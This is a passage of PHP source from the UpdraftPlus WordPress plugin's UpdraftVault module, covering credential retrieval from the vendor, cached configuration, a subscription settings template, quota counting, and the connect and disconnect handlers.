$this->log($msg_txt, $message['level'], $message['code']);
}
}
if (is_array($response) && isset($response['accesskey']) && isset($response['secretkey']) && isset($response['path'])) {
$details_retrieved = true;
$cache_in_job = true;
$opts['last_config']['accesskey'] = $response['accesskey'];
$opts['last_config']['secretkey'] = $response['secretkey'];
$opts['last_config']['path'] = $response['path'];
unset($opts['last_config']['quota_root']);
if (!empty($response['quota_root'])) {
$opts['last_config']['quota_root'] = $response['quota_root'];
$config['quota_root'] = $response['quota_root'];
$opts['quota_root'] = $response['quota_root'];
}
$opts['last_config']['time'] = time();
// This is just a cache of the most recent setting
if (isset($response['quota'])) {
$opts['quota'] = $response['quota'];
$config['quota'] = $response['quota'];
}
$this->set_options($opts, true);
$config['accesskey'] = $response['accesskey'];
$config['secretkey'] = $response['secretkey'];
$config['path'] = $response['path'];
$config['sessiontoken'] = (isset($response['sessiontoken']) ? $response['sessiontoken'] : '');
$config['provider'] = !empty($response['provider']) ? $response['provider'] : 'amazonaws';
} elseif (is_array($response) && isset($response['result']) && ('token_unknown' == $response['result'] || 'site_duplicated' == $response['result'])) {
$this->log("This site appears to not be connected to UpdraftVault (".$response['result'].")");
$config['error'] = array('message' => 'site_not_connected', 'values' => array($response['result']));
$config['accesskey'] = '';
$config['secretkey'] = '';
$config['path'] = '';
$config['sessiontoken'] = '';
unset($config['quota']);
if (!empty($response['message'])) $config['error_message'] = $response['message'];
$details_retrieved = true;
$cache_in_job = true;
} elseif (is_array($response) && isset($response['result']) && 'error' == $response['result'] && 'gettempcreds_exception2' == $response['code']) {
$this->log("An error occurred while fetching your Vault credentials. Please try again after a few minutes (".$response['code'].")");
$config['error'] = array('message' => 'fetch_credentials_error', 'values' => array($response['code']));
$config['accesskey'] = '';
$config['secretkey'] = '';
$config['path'] = '';
$config['sessiontoken'] = '';
$config['email'] = $opts['email']; // Pass along the email address used, as we need it to display our error message correctly
unset($config['quota']);
// We want to hide the AWS error message in this case
$config['error_message'] = __('An error occurred while fetching your Vault credentials.', 'updraftplus').' '.__('Please try again after a few minutes.', 'updraftplus');
$details_retrieved = true;
$cache_in_job = true;
} else {
if (is_array($response) && !empty($response['result'])) {
$cache_in_job = true;
$msg = "response code: ".$response['result'];
if (!empty($response['code'])) $msg .= " (".$response['code'].")";
if (!empty($response['message'])) $msg .= " (".$response['message'].")";
if (!empty($response['data'])) $msg .= " (".json_encode($response['data']).")";
$this->log($msg);
$config['error'] = array('message' => 'general_error_response', 'values' => array($msg));
} else {
$this->log("Received response, but it was not in the expected format: ".substr(wp_remote_retrieve_body($getconfig), 0, 100).' ...');
$config['error'] = array('message' => 'unexpected_format', 'values' => array(substr(wp_remote_retrieve_body($getconfig), 0, 100).' ...'));
}
}
} else {
$this->log("Unexpected HTTP response code (please try again later): ".$response_code);
$config['error'] = array('message' => 'unexpected_http_response', 'values' => array($response_code));
}
} elseif (is_wp_error($getconfig)) {
$updraftplus->log_wp_error($getconfig);
$config['error'] = array('message' => 'general_error_response', 'values' => array($getconfig));
} else {
if (!isset($getconfig['accesskey'])) {
$this->log("wp_remote_post returned a result that was not understood (".gettype($getconfig).")");
$config['error'] = array('message' => 'result_not_understood', 'values' => array(gettype($getconfig)));
}
}
if (!$details_retrieved) {
// Don't log anything yet, as this will replace the most recently logged message in the main panel
if (!empty($opts['last_config']) && is_array($opts['last_config'])) {
$last_config = $opts['last_config'];
if (!empty($last_config['time']) && is_numeric($last_config['time']) && $last_config['time'] > time() - 86400*15) {
if ($updraftplus->backup_time) $this->log("failed to retrieve access details from updraftplus.com: will attempt to use most recently stored configuration");
if (!empty($last_config['accesskey'])) $config['accesskey'] = $last_config['accesskey'];
if (!empty($last_config['secretkey'])) $config['secretkey'] = $last_config['secretkey'];
if (isset($last_config['path'])) $config['path'] = $last_config['path'];
if (isset($opts['quota'])) $config['quota'] = $opts['quota'];
$cache_in_job = true;
} else {
if ($updraftplus->backup_time) $this->log("failed to retrieve access details from updraftplus.com: no recently stored configuration was found to use instead");
}
}
}
$config['server_side_encryption'] = 'AES256';
$this->vault_config = $config;
if ($cache_in_job) $this->jobdata_set('config', $config);
// N.B. This isn't multi-server compatible
set_transient('udvault_last_config', $config, 86400*7);
return $config;
}
/**
* Whether to always use server-side encryption - which, with Vault, we do (and our marketing says so).
*
* @return Boolean
*/
protected function use_sse() {
return true;
}
public function vault_translate_remote_message($message, $code) {
switch ($code) {
case 'premium_overdue':
return __('Your UpdraftPlus Premium purchase is over a year ago.', 'updraftplus').' '.__('You should renew immediately to avoid losing the 12 months of free storage allowance that you get for being a current UpdraftPlus Premium customer.', 'updraftplus');
break;
case 'vault_subscription_overdue':
return __('You have an UpdraftPlus Vault subscription with overdue payment.', 'updraftplus').' '.__('You are within the few days of grace period before it will be suspended, and you will lose your quota and access to data stored within it.', 'updraftplus').' '.__('Please renew as soon as possible!', 'updraftplus');
break;
case 'vault_subscription_suspended':
return __("You have an UpdraftPlus Vault subscription that has not been renewed, and the grace period has expired.", 'updraftplus').' '.__("In a few days' time, your stored data will be permanently removed.", 'updraftplus').' '.__("If you do not wish this to happen, then you should renew as soon as possible.", 'updraftplus');
// The following shouldn't be a possible response (the server can deal with duplicated sites with the same IDs) - but there's no harm leaving it in for now (Dec 2015)
// This means that the site is accessing with a different home_url() than it was registered with.
break;
case 'site_duplicated':
return __('No Vault connection was found for this site (has it moved?); please disconnect and re-connect.', 'updraftplus');
break;
}
return $message;
}
/**
* This over-rides the method in UpdraftPlus_BackupModule and stops the hidden version field being output. This is so that blank settings are not returned and saved to the database as this storage option outputs no other fields.
*
* @return [boolean] - return false so that the hidden version field is not output
*/
public function print_shared_settings_fields() {
return false;
}
/**
* Get the pre configuration template
*
* @return Void - currently does not have a pre config template, this method is needed to stop it taking it's parents
*/
public function get_pre_configuration_template() {
}
/**
* Get the configuration template
*
* @return String - the template, ready for substitutions to be carried out
*/
public function get_configuration_template() {
ob_start();
?>
<tr id="remote-storage-updraftvault" class="{{get_template_css_classes true}}">
<th><img id="vaultlogo" src="{{storage_image_url}}" alt="{{method_display_name}}" width="150" height="116"></th>
<td valign="top" id="updraftvault_settings_cell">
{{{simplexmlelement_existence_label}}}
{{{curl_existence_label}}}
<div id="updraftvault_settings_default"{{#if is_connected}} style="display:none;" class="updraft-hidden"{{/if}}>
<p>
{{{storage_long_description}}}
</p>
<div class="vault_primary_option clear-left">
<div><strong>{{storage_package_options_label1}}</strong></div>
<button aria-label="{{storage_package_options_label1}} {{storage_package_options_label2}}" id="updraftvault_showoptions" class="button-primary">{{storage_package_options_label2}}</button>
</div>
<div class="vault_primary_option">
<div><strong>{{storage_already_registered_label1}}</strong></div>
<button aria-label="{{storage_already_registered_label2}}" id="updraftvault_connect" class="button-primary">{{storage_already_registered_label3}}</button>
</div>
<p>
<em>{{storage_long_description2}}<a target="_blank" href="{{more_vault_info_landing_url}}">{{storage_readmore_label}}</a> <a target="_blank" href="{{more_vault_info_faqs_url}}">{{storage_read_faq_label}}</a></em>
</p>
</div>
<div id="updraftvault_settings_showoptions" style="display:none;" class="updraft-hidden">
<p>{{{storage_package_options_label3}}}</p>
<div class="vault-purchase-option-container">
<div class="vault-purchase-option">
<div class="vault-purchase-option-size">5 GB</div>
<div class="vault-purchase-option-link"><b>{{price_5gb_package_label}}</b></div>
<div class="vault-purchase-option-or">{{start_trial_option_label}}</div>
<div class="vault-purchase-option-link"><b>{{discounted_price_5gb_package_label}}</b></div>
<div class="vault-purchase-option-link"><a target="_blank" title="{{start_5gb_package_subscription_title}}" href="{{start_5gb_package_subscription_link}}" {{{checkout_embed_5gb_attribute}}}><button aria-label="{{start_trial_button_title}}" class="button-primary">{{start_trial_button_label}}</button></a></div>
</div>
<div class="vault-purchase-option">
<div class="vault-purchase-option-size">15 GB</div>
<div class="vault-purchase-option-link"><b>{{price_15gb_package_label}}</b></div>
<div class="vault-purchase-option-or">{{discount_period_label}}</div>
<div class="vault-purchase-option-link"><b>{{discounted_price_15gb_package_label}}</b></div>
<div class="vault-purchase-option-link"><a target="_blank" title="{{start_15gb_package_subscription_title}}" href="{{start_15gb_package_subscription_link}}" {{{checkout_embed_15gb_attribute}}}><button aria-label="{{start_15gb_subscription_button_title}}" class="button-primary">{{start_subscription_button_label}}</button></a></div>
</div>
<div class="vault-purchase-option">
<div class="vault-purchase-option-size">50 GB</div>
<div class="vault-purchase-option-link"><b>{{price_50gb_package_label}}</b></div>
<div class="vault-purchase-option-or">{{discount_period_label}}</div>
<div class="vault-purchase-option-link"><b>{{discounted_price_50gb_package_label}}</b></div>
<div class="vault-purchase-option-link"><a target="_blank" title="{{start_50gb_package_subscription_title}}" href="{{start_50gb_package_subscription_link}}" {{{checkout_embed_50gb_attribute}}}><button aria-label="{{start_50gb_subscription_button_title}}" class="button-primary">{{start_subscription_button_label}}</button></a></div>
</div>
<div class="vault-purchase-option">
<div class="vault-purchase-option-size">250 GB</div>
<div class="vault-purchase-option-link"><b>{{price_250gb_package_label}}</b></div>
<div class="vault-purchase-option-or">{{discount_period_label}}</div>
<div class="vault-purchase-option-link"><b>{{discounted_price_250gb_package_label}}</b></div>
<div class="vault-purchase-option-link"><a target="_blank" title="{{start_250gb_package_subscription_title}}" href="{{start_250gb_package_subscription_link}}" {{{checkout_embed_250gb_attribute}}}><button aria-label="{{start_250gb_subscription_button_title}}" class="button-primary">{{start_subscription_button_label}}</button></a></div>
</div>
</div>
<p class="clear-left padding-top-20px">
{{subscription_payment_details_label}}
</p>
<p class="clear-left padding-top-20px">
<em>{{storage_long_description2}} <a target="_blank" href="{{more_vault_info_landing_url}}">{{storage_readmore_label}}</a> <a target="_blank" href="{{more_vault_info_faqs_url}}">{{storage_read_faq_label}}</a></em>
</p>
<p>
<a aria-label="{{go_back_link_label}}" href="{{current_clean_url}}" class="updraftvault_backtostart">{{go_back_link_text}}</a>
</p>
</div>
<div id="updraftvault_settings_connect" data-instance_id="{{instance_id}}" style="display:none;" class="updraft-hidden">
<p>{{connect_to_updraftplus_label}}</p>
<p>
<input title="{{input_email_title}}" id="updraftvault_email" class="udignorechange" type="text" placeholder="{{input_email_placeholder}}">
<input title="{{input_password_title}}" id="updraftvault_pass" class="udignorechange" type="password" placeholder="{{input_password_placeholder}}">
<button title="{{button_connect_title}}" id="updraftvault_connect_go" class="button-primary">{{button_connect_label}}</button>
</p>
<p class="padding-top-14px">
<em>{{forgotten_password_label}} <a aria-label="{{forgotten_password_link_label}}" href="{{forgotten_password_link_url}}">{{forgotten_password_link_text}}</a></em>
</p>
<p class="padding-top-14px">
<em><a aria-label="{{go_back_link_label}}" href="{{current_clean_url}}" class="updraftvault_backtostart">{{go_back_link_text}}</a></em>
</p>
</div>
<div id="updraftvault_settings_connected"{{#unless is_connected}} style="display:none;" class="updraft-hidden"{{/unless}}>
{{#if is_connected}}
<p id="vault-is-connected">{{{site_is_already_connected_label}}}</p>
<p>
<strong>{{vault_owner_label}}:</strong> {{email}}
<br><strong>{{vault_quota_label}}</strong>
{{{quota_text}}}
</p>
<p><button id="updraftvault_disconnect" class="button-primary">{{button_disconnect_label}}</button></p>
{{else}}
<p>{{{vault_is_not_connected_label}}}</p>
{{/if}}
</div>
</td>
</tr>
<?php
return ob_get_clean();
}
/**
* Retrieve a list of template properties by taking all the persistent variables and methods of the parent class and combining them with the ones that are unique to this module, also the necessary HTML element attributes and texts which are also unique only to this backup module
* NOTE: Please sanitise all strings that are required to be shown as HTML content on the frontend side (i.e. wp_kses()), or any other technique to prevent XSS attacks that could come via WP hooks
*
* @return Array an associative array keyed by names that describe themselves as they are
*/
public function get_template_properties() {
global $updraftplus, $updraftplus_admin, $updraftplus_checkout_embed;
// Used to decide whether we can afford HTTP calls or not, or would prefer to rely on cached data
$this->vault_in_config_print = true;
$properties = array(
'storage_image_url' => UPDRAFTPLUS_URL.'/images/updraftvault-150.png',
'simplexmlelement_existence_label' => !apply_filters('updraftplus_vault_simplexmlelement_exists', class_exists('SimpleXMLElement')) ? wp_kses($updraftplus_admin->show_double_warning('<strong>'.__('Warning', 'updraftplus').':</strong> '.sprintf(__("Your web server's PHP installation does not include a <strong>required</strong> (for %s) module (%s).", 'updraftplus'), 'UpdraftVault', 'SimpleXMLElement').' '.__("Please contact your web hosting provider's support and ask for them to enable it.", 'updraftplus'), $this->get_id(), false), $this->allowed_html_for_content_sanitisation()) : '',
'curl_existence_label' => wp_kses($updraftplus_admin->curl_check($updraftplus->backup_methods[$this->get_id()], false, $this->get_id().' hidden-in-updraftcentral', false), $this->allowed_html_for_content_sanitisation()),
'storage_long_description' => wp_kses(__('UpdraftVault brings you storage that is <strong>reliable, easy to use and a great price</strong>.', 'updraftplus').' '.__('Press a button to get started.', 'updraftplus'), $this->allowed_html_for_content_sanitisation()),
'storage_package_options_label1' => __('Need to get space?', 'updraftplus'),
'storage_package_options_label2' => __('Show the options', 'updraftplus'),
'storage_already_registered_label1' => __('Already got space?', 'updraftplus'),
'storage_already_registered_label2' => sprintf(__('Connect to your %s account', 'updraftplus'), $updraftplus->backup_methods[$this->get_id()]),
'storage_already_registered_label3' => __('Connect', 'updraftplus'),
'storage_long_description2' => __("UpdraftVault is built on top of Amazon's world-leading data-centres, with redundant data storage to achieve 99.999999999% reliability.", 'updraftplus'),
'storage_readmore_label' => sprintf(__('Read more about %s here.', 'updraftplus'), $updraftplus->backup_methods[$this->get_id()]),
'storage_read_faq_label' => sprintf(__('Read the %s FAQs here.', 'updraftplus'), 'Vault'),
'more_vault_info_landing_url' => $this->get_url('more_vault_info_landing'),
'more_vault_info_faqs_url' => $this->get_url('more_vault_info_faqs'),
'storage_package_options_label3' => wp_kses(__('UpdraftVault brings you storage that is <strong>reliable, easy to use and a great price</strong>.', 'updraftplus').' '.__('Press a button to get started.', 'updraftplus'), $this->allowed_html_for_content_sanitisation()),
'start_subscription_button_label' => __('Start Subscription', 'updraftplus'),
'start_15gb_subscription_button_title' => sprintf(__('Start %s Subscription', 'updraftplus'), '15GB'),
'start_50gb_subscription_button_title' => sprintf(__('Start %s Subscription', 'updraftplus'), '50GB'),
'start_250gb_subscription_button_title' => sprintf(__('Start %s Subscription', 'updraftplus'), '250GB'),
'start_trial_button_label' => __('Start Trial', 'updraftplus'),
'start_trial_button_title' => sprintf(__('Start %s Trial', 'updraftplus'), '5GB'),
'discount_period_label' => __('or (annual discount)', 'updraftplus'),
'start_trial_option_label' => __('with the option of', 'updraftplus'),
'price_5gb_package_label' => sprintf(__('%s per year', 'updraftplus'), '$35'),
'price_15gb_package_label' => sprintf(__('%s per quarter', 'updraftplus'), '$20'),
'price_50gb_package_label' => sprintf(__('%s per quarter', 'updraftplus'), '$50'),
'price_250gb_package_label' => sprintf(__('%s per quarter', 'updraftplus'), '$125'),
'discounted_price_5gb_package_label' => sprintf(__('%s month %s trial', 'updraftplus'), '1', '$1'),
'discounted_price_15gb_package_label' => sprintf(__('%s per year', 'updraftplus'), '$70'),
'discounted_price_50gb_package_label' => sprintf(__('%s per year', 'updraftplus'), '$175'),
'discounted_price_250gb_package_label' => sprintf(__('%s per year', 'updraftplus'), '$450'),
'start_5gb_package_subscription_title' => sprintf(__('Start a %s UpdraftVault Subscription', 'updraftplus'), '5GB'),
'start_15gb_package_subscription_title' => sprintf(__('Start a %s UpdraftVault Subscription', 'updraftplus'), '15GB'),
'start_50gb_package_subscription_title' => sprintf(__('Start a %s UpdraftVault Subscription', 'updraftplus'), '50GB'),
'start_250gb_package_subscription_title' => sprintf(__('Start a %s UpdraftVault Subscription', 'updraftplus'), '250GB'),
'start_5gb_package_subscription_link' => apply_filters('updraftplus_com_link', $updraftplus->get_url('shop_vault_5')),
'start_15gb_package_subscription_link' => apply_filters('updraftplus_com_link', $updraftplus->get_url('shop_vault_15')),
'start_50gb_package_subscription_link' => apply_filters('updraftplus_com_link', $updraftplus->get_url('shop_vault_50')),
'start_250gb_package_subscription_link' => apply_filters('updraftplus_com_link', $updraftplus->get_url('shop_vault_250')),
'go_back_link_text' => __('Back...', 'updraftplus'),
'go_back_link_label' => sprintf(__('Back to other %s options'), 'Vault'),
'current_clean_url' => UpdraftPlus::get_current_clean_url(),
'subscription_payment_details_label' => __('Payments can be made in US dollars, euros or GB pounds sterling, via card or PayPal.', 'updraftplus').' '. __('Subscriptions can be cancelled at any time.', 'updraftplus'),
'connect_to_updraftplus_label' => __('Enter your UpdraftPlus.Com email / password here to connect:', 'updraftplus'),
'input_email_title' => sprintf(__('Please enter your %s email address', 'updraftplus'), 'UpdraftPlus.com'),
'input_email_placeholder' => __('Email', 'updraftplus'),
'input_password_title' => sprintf(__('Please enter your %s password', 'updraftplus'), 'UpdraftPlus.com'),
'input_password_placeholder' => __('Password', 'updraftplus'),
'button_connect_title' => sprintf(__('Connect to your %s'), 'Vault'),
'button_connect_label' => __('Connect', 'updraftplus'),
'forgotten_password_label' => __("Don't know your email address, or forgotten your password?", 'updraftplus'),
'forgotten_password_link_label' => __("Don't know your email address, or forgotten your password?", 'updraftplus').__('Follow this link for help', 'updraftplus'),
'forgotten_password_link_url' => $this->get_url('vault_forgotten_credentials_links'),
'forgotten_password_link_text' => __('Go here for help', 'updraftplus'),
'site_is_already_connected_label' => wp_kses(__('This site is <strong>connected</strong> to UpdraftVault.', 'updraftplus').' '.__("Well done - there's nothing more needed to set up.", 'updraftplus'), $this->allowed_html_for_content_sanitisation()),
'vault_owner_label' => __('Vault owner', 'updraftplus'),
'vault_quota_label' => __('Quota:', 'updraftplus'),
'button_disconnect_label' => __('Disconnect', 'updraftplus'),
'vault_is_not_connected_label' => wp_kses(__('You are <strong>not connected</strong> to UpdraftVault.', 'updraftplus'), $this->allowed_html_for_content_sanitisation()),
);
if ($updraftplus_checkout_embed) {
$properties['checkout_embed_5gb_attribute'] = $updraftplus_checkout_embed->get_product('updraftplus-vault-storage-5-gb') ? 'data-embed-checkout="'.esc_attr(apply_filters('updraftplus_com_link', $updraftplus_checkout_embed->get_product('updraftplus-vault-storage-5-gb', UpdraftPlus_Options::admin_page_url().'?page=updraftplus&tab=settings'))).'"' : '';
$properties['checkout_embed_15gb_attribute'] = $updraftplus_checkout_embed->get_product('updraftplus-vault-storage-15-gb') ? 'data-embed-checkout="'.esc_attr(apply_filters('updraftplus_com_link', $updraftplus_checkout_embed->get_product('updraftplus-vault-storage-15-gb', UpdraftPlus_Options::admin_page_url().'?page=updraftplus&tab=settings'))).'"' : '';
$properties['checkout_embed_50gb_attribute'] = $updraftplus_checkout_embed->get_product('updraftplus-vault-storage-50-gb') ? 'data-embed-checkout="'.esc_attr(apply_filters('updraftplus_com_link', $updraftplus_checkout_embed->get_product('updraftplus-vault-storage-50-gb', UpdraftPlus_Options::admin_page_url().'?page=updraftplus&tab=settings'))).'"' : '';
$properties['checkout_embed_250gb_attribute'] = $updraftplus_checkout_embed->get_product('updraftplus-vault-storage-250-gb') ? 'data-embed-checkout="'.esc_attr(apply_filters('updraftplus_com_link', $updraftplus_checkout_embed->get_product('updraftplus-vault-storage-250-gb', UpdraftPlus_Options::admin_page_url().'?page=updraftplus&tab=settings'))).'"' : '';
}
$this->vault_in_config_print = false;
return wp_parse_args($properties, $this->get_persistent_variables_and_methods());
}
/**
* Modifies handerbar template options
*
* @param array $opts
* @return Array - Modified handerbar template options
*/
public function transform_options_for_template($opts) {
if (!empty($opts['token']) || !empty($opts['email'])) {
$opts['is_connected'] = true;
}
if (!isset($opts['quota']) || !is_numeric($opts['quota']) || $opts['quota'] < 0) {
$opts['quota_text'] = __('Unknown', 'updraftplus');
} else {
$opts['quota_text'] = $this->s3_get_quota_info('text', $opts['quota']);
}
return $opts;
}
/**
* Check whether options have been set up by the user, or not
*
* @param Array $opts - the potential options
*
* @return Boolean
*/
public function options_exist($opts) {
if (is_array($opts) && !empty($opts['email'])) return true;
return false;
}
/**
* Gives settings keys which values should not passed to handlebarsjs context.
* The settings stored in UD in the database sometimes also include internal information that it would be best not to send to the front-end (so that it can't be stolen by a man-in-the-middle attacker)
*
* @return Array - Settings array keys which should be filtered
*/
public function filter_frontend_settings_keys() {
return array(
'last_config',
'quota',
'quota_root',
'token',
);
}
private function connected_html($vault_settings = false, $error_message = false) {
if (!is_array($vault_settings)) {
$vault_settings = $this->get_options();
}
if (!is_array($vault_settings) || empty($vault_settings['token']) || empty($vault_settings['email'])) return '<p>'.__('You are <strong>not connected</strong> to UpdraftVault.', 'updraftplus').'</p>';
$ret = '<p id="vault-is-connected">';
$ret .= __('This site is <strong>connected</strong> to UpdraftVault.', 'updraftplus').' '.__("Well done - there's nothing more needed to set up.", 'updraftplus').'</p><p><strong>'.__('Vault owner', 'updraftplus').':</strong> '.htmlspecialchars($vault_settings['email']);
$ret .= '<br><strong>'.__('Quota:', 'updraftplus').'</strong> ';
if (!isset($vault_settings['quota']) || !is_numeric($vault_settings['quota']) || $vault_settings['quota'] < 0) {
if (!$error_message) {
$ret .= __('Unknown', 'updraftplus');
$ret .= $this->get_quota_recount_links();
} else {
$ret .= $error_message;
$ret .= $this->get_quota_recount_links();
}
} else {
$ret .= $this->s3_get_quota_info('text', $vault_settings['quota']);
}
$ret .= '</p>';
$ret .= '<p><button id="updraftvault_disconnect" class="button-primary">'.__('Disconnect', 'updraftplus').'</button></p>';
return $ret;
}
/**
* This function will output to the backup log when s3 is out of quota, it will then also clear the vault quota transient so a recount will happen at some point.
*
* @param Integer $total - the total amount of quota
* @param Integer $used - the toal amount used
* @param Integer $needed - the amount needed for the upload
*
* @return void
*/
protected function s3_out_of_quota($total, $used, $needed) {
$quota_transient_used = $this->quota_transient_used ? '(via transient)' : '';
$this->log("Error: Quota exhausted (used=$used, total=$total, needed=$needed) $quota_transient_used");
$this->log(sprintf(__('Error: you have insufficient storage quota available (%s) to upload this archive (%s) (%s).', 'updraftplus'), round(($total-$used)/1048576, 2).' MB', round($needed/1048576, 2).' MB', $quota_transient_used).' '.__('You can get more quota here', 'updraftplus').': '.$this->get_url('get_more_quota'), 'error');
// The transient wasn't intended for 100% precision when that matters (e.g. out-of-quota), so we delete it - a fresh calculation will take place on the next operation
delete_transient('updraftvault_quota_numeric');
}
/**
* This function will setup and record the UpdraftVault quota text transient
*
* @param Integer $quota_used - the amount of quota used
* @param Integer $quota - the total quota
*
* @return void
*/
protected function s3_record_quota_info($quota_used, $quota) {
$ret = __('Current use:', 'updraftplus').' '.round($quota_used / 1048576, 1).' / '.round($quota / 1048576, 1).' MB';
$ret .= ' ('.sprintf('%.1f', 100*$quota_used / max($quota, 1)).' %)';
$ret .= ' - <a href="'.esc_attr($this->get_url('get_more_quota')).'">'.__('Get more quota', 'updraftplus').'</a>';
$ret_dashboard = $ret . ' - <a href="#" id="updraftvault_recountquota">'.__('Refresh current status', 'updraftplus').'</a>';
set_transient('updraftvault_quota_text', $ret_dashboard, 86400*3);
}
public function s3_prune_retained_backups_finished() {
$config = $this->get_config();
$quota = $config['quota'];
$quota_used = $this->s3_get_quota_info('numeric', $config['quota']);
$quota_transient_used = $this->quota_transient_used ? ' (via transient)' : '';
$ret = __('Current use:', 'updraftplus').' '.round($quota_used / 1048576, 1).' / '.round($quota / 1048576, 1).' MB'.$quota_transient_used;
$ret .= ' ('.sprintf('%.1f', 100*$quota_used / max($quota, 1)).' %)';
$ret_plain = $ret . ' - '.__('Get more quota', 'updraftplus').': '.$this->get_url('get_more_quota');
$ret .= ' - <a href="'.esc_attr($this->get_url('get_more_quota')).'">'.__('Get more quota', 'updraftplus').'</a>';
do_action('updraft_report_remotestorage_extrainfo', 'updraftvault', $ret, $ret_plain);
}
/**
* This function will return the S3 quota Information
*
* @param String|integer $format n numeric, returns an integer or false for an error (never returns an error)
* @param integer $quota S3 quota information
* @return String|integer
*/
protected function s3_get_quota_info($format = 'numeric', $quota = 0) {
$ret = '';
$counted = 0;
if ($quota > 0) {
if (!empty($this->vault_in_config_print) && 'text' == $format) {
// See card qwcuddk3 for more info on this; or MR#1175
$quota_via_transient = get_transient('updraftvault_quota_text');
if (is_string($quota_via_transient) && $quota_via_transient) return $quota_via_transient;
} elseif ('numeric' == $format) {
$quota_via_transient = get_transient('updraftvault_quota_numeric');
if (is_numeric($quota_via_transient) && $quota_via_transient && round($quota - $quota_via_transient, 1048576) >= 1024) {
$this->quota_transient_used = true;
if (!defined('UPDRAFTVAULT_COUNT_QUOTA_ANYWAY') || !UPDRAFTVAULT_COUNT_QUOTA_ANYWAY) {
return $quota_via_transient;
}
} else {
$this->quota_transient_used = false;
}
}
try {
$config = $this->get_config();
if (empty($config['quota_root'])) {
// This next line is wrong: it lists the files *in this site's sub-folder*, rather than the whole Vault
$current_files = $this->listfiles('');
} else {
$current_files = $this->listfiles_with_path($config['quota_root'], '', true);
}
} catch (Exception $e) {
$this->log("Listfiles failed during quota calculation: ".$e->getMessage());
$current_files = new WP_Error('listfiles_exception', $e->getMessage().' ('.get_class($e).')');
}
$ret .= __('Current use:', 'updraftplus').' ';
if (is_wp_error($current_files)) {
$ret .= __('Error:', 'updraftplus').' '.$current_files->get_error_message().' ('.$current_files->get_error_code().')';
} elseif (!is_array($current_files)) {
$ret .= __('Unknown', 'updraftplus');
} else {
foreach ($current_files as $file) {
$counted += $file['size'];
}
if ($this->quota_transient_used && defined('UPDRAFTVAULT_COUNT_QUOTA_ANYWAY') && UPDRAFTVAULT_COUNT_QUOTA_ANYWAY) {
$this->log("UpdraftVault: UPDRAFTVAULT_COUNT_QUOTA_ANYWAY set. Current quota: {$counted}");
} else {
set_transient('updraftvault_quota_numeric', $counted, 86400);
}
$ret .= round($counted / 1048576, 1);
$ret .= ' / '.round($quota / 1048576, 1).' MB';
$ret .= ' ('.sprintf('%.1f', 100*$counted / $quota).' %)';
}
} else {
$ret .= '0';
}
$ret .= $this->get_quota_recount_links();
if ('text' == $format) set_transient('updraftvault_quota_text', $ret, 86400*3);
return ('text' == $format) ? $ret : $counted;
}
/**
* Build the links to recount used vault quota and to purchase more quota
*
* @return String
*/
private function get_quota_recount_links() {
return ' - <a href="'.esc_attr($this->get_url('get_more_quota')).'">'.__('Get more quota', 'updraftplus').'</a> - <a href="'.esc_url(UpdraftPlus::get_current_clean_url()).'" id="updraftvault_recountquota">'.__('Refresh current status', 'updraftplus').'</a>';
}
public function ajax_vault_recountquota($echo_results = true) {
// Force the opts to be refreshed
$config = $this->get_config();
if (empty($config['accesskey']) && !empty($config['error_message'])) {
if (!empty($config['error']) && is_array($config['error']) && 'fetch_credentials_error' == $config['error']['message']) {
$opts = array('token' => 'unknown', 'email' => $config['email'], 'quota' => -1);
$results = array('html' => $this->connected_html($opts, $config['error_message']), 'connected' => 1);
} else {
$results = array('html' => htmlspecialchars($config['error_message']), 'connected' => 0);
}
} else {
// Now read the opts
$opts = $this->get_options();
$results = array('html' => $this->connected_html($opts), 'connected' => 1);
}
if ($echo_results) {
echo json_encode($results);
} else {
return $results;
}
}
/**
* This method also gets called directly, so don't add code that assumes that it's definitely an AJAX situation
*
* @param Boolean $echo_results check to see if the results need to be echoed
* @return Array
*/
public function ajax_vault_disconnect($echo_results = true) {
$vault_settings = $this->get_options();
$frontend_settings_keys = array_flip($this->filter_frontend_settings_keys());
foreach ((array) $frontend_settings_keys as $key => $val) {
$frontend_settings_keys[$key] = ('last_config' === $key) ? array() : '';
}
$this->set_options(array_merge($frontend_settings_keys, $this->get_default_options()), true);
global $updraftplus;
delete_transient('udvault_last_config');
delete_transient('updraftvault_quota_text');
$response = array('disconnected' => 1, 'html' => $this->connected_html());
if ($echo_results) {
$updraftplus->close_browser_connection(json_encode($response));
}
// If $_POST['reset_hash'] is set, then we were alerted by updraftplus.com - no need to notify back
if (is_array($vault_settings) && isset($vault_settings['email']) && empty($_POST['reset_hash'])) {
$post_body = array(
'e' => (string) $vault_settings['email'],
'sid' => $updraftplus->siteid(),
'su' => base64_encode(home_url())
);
if (!empty($vault_settings['token'])) $post_body['token'] = (string) $vault_settings['token'];
// Use SSL to prevent snooping
wp_remote_post($this->vault_mothership.'/?udm_action=vault_disconnect', array(
'timeout' => 20,
'body' => $post_body,
));
}
return $response;
}
/**
* This is called from the UD admin object
*
* @param Boolean $echo_results A Flag to see if results need to be echoed or returned
* @param Boolean|array $use_credentials Check if Vault needs to use credentials
* @return Array
*/
public function ajax_vault_connect($echo_results = true, $use_credentials = false) {
if (empty($use_credentials)) $use_credentials = $_REQUEST;
$connect = $this->vault_connect($use_credentials['email'], $use_credentials['pass']);
if (true === $connect) {
$response = array('connected' => true, 'html' => $this->connected_html(false));
} else {
$response = array(
'e' => __('An unknown error occurred when trying to connect to UpdraftPlus.Com', 'updraftplus')
);
if (is_wp_error($connect)) {
$response['e'] = $connect->get_error_message();
$response['code'] = $connect->get_error_code();
$response['data'] = serialize($connect->get_error_data());
}
}
if ($echo_results) {
echo json_encode($response);
} else {
return $response;
}
}
/**
* Returns either true (in which case the Vault token will be stored), or false|WP_Error
*
* @param String $email Vault Email
* @param String $password Vault Password
* @return Boolean|WP_Error
*/
private function vault_connect($email, $password) {
// Username and password set up?
if (empty($email) || empty($password)) return new WP_Error('blank_details', __('You need to supply both an email address and a password', 'updraftplus'));
global $updraftplus;
$remote_post_array = apply_filters('updraftplus_vault_config_add_headers', array(
'timeout' => 20,
'body' => array(
'e' => $email,
'p' => base64_encode($password),
'sid' => $updraftplus->siteid(),
'su' => base64_encode(home_url()),
'v' => $updraftplus->version
)
));
// Use SSL to prevent snooping
$result = wp_remote_post($this->vault_mothership.'/?udm_action=vault_connect', $remote_post_array);
if (is_wp_error($result) || false === $result) return $result;
$response = json_decode(wp_remote_retrieve_body($result), true);
if (!is_array($response) || !isset($response['mothership']) || !isset($response['loggedin'])) {
if (preg_match('/has banned your IP address \(([\.:0-9a-f]+)\)/', $result['body'], $matches)) {
